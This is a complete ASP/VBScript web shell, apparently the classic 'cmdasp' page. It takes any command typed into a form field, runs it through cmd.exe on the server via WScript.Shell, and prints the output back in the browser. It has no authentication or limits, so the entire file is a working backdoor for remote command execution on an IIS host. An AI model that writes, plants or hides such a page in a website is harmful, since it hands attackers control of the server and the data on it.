<%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next <
' -- create the COM objects that we will be using -- ' Set oScript = Server.createObject("WSCRIPT.SHELL") Set oScriptNet = Server.createObject("WSCRIPT.NETWORK") Set oFileSys = Server.createObject("Scripting.FileSystemObject") <
' -- check for a command that we have posted -- ' szCMD = Request.form(".CMD") If (szCMD <> "") Then <
' -- Use a poor man's pipe ... a temp file -- ' szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) <
End If <
%> <HTML> <BODY> <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="Run"> </form> <PRE> <
<% If (IsObject(oFile)) Then ' -- Read the output from our command and remove the temp file -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.deleteFile(szTempFile, True) End If %> </BODY> </HTML> >
|